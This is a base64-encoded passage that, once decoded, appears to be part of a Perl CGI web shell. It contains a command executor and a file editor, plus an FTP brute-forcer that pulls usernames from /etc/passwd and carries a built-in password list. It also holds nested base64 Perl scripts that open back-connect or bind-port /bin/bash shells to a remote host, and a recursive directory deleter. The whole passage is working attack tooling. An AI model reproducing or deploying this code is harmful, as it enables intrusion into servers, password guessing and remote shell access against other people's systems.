cmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0g